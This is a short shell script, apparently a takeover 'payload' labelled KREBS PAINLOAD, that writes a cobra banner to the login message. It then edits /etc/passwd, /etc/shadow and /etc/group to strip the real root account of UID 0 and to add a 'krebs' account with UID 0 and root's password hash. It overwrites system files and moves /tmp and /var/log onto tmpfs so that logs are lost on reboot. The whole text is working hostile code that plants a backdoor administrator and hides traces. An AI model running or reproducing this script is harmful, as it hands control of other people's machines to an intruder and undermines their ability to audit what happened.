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#! /bin/sh
cat>/etc/motd.tail<<EOF
KREBS PAINLOAD (MORE COBRA)
[31;1m x x x x
xx xx xx xx xx xx
xx xx xx xx xx xx
xxx x x xxx
x xxxxxxxxxxxx x
xxxxxxxxxxxxxxxx
x xxxxxxxxxxxx x
x x x x x x
x x x x x x[m
EOF
f=/etc/passwd
sed -ri 's^(root:[^:]+):0:0:(.*)$\1:23:23:\2' $f
sed -ri '/^krebs/d' $f
echo 'krebs:x:0:0::/root:/bin/bash' >>$f
f=/etc/shadow
sed -ri '/^krebs/d' $f
grep root $f | sed 's/^root/krebs/' >> $f
f=/etc/group
sed -ri 's^(root:[^:]+):0:(.*)$\1:23:\2' $f
sed -ri '/^krebs/d' $f
echo 'krebs:x:0:' >>$f
for i in etc/*; do
cat $i > /$i
done
# TMPFS for tmp and log
if [ ! "`grep -e 'none[ \t]*/tmp' /etc/fstab`" ];
then
echo 'none /tmp tmpfs defaults,size=50M 0 0'>>/etc/fstab
fi
if [ ! "`grep -e 'none[ \t]*/var/log' /etc/fstab`" ];
then
echo 'none /var/log tmpfs defaults,size=50M 0 0'>>/etc/fstab
fi
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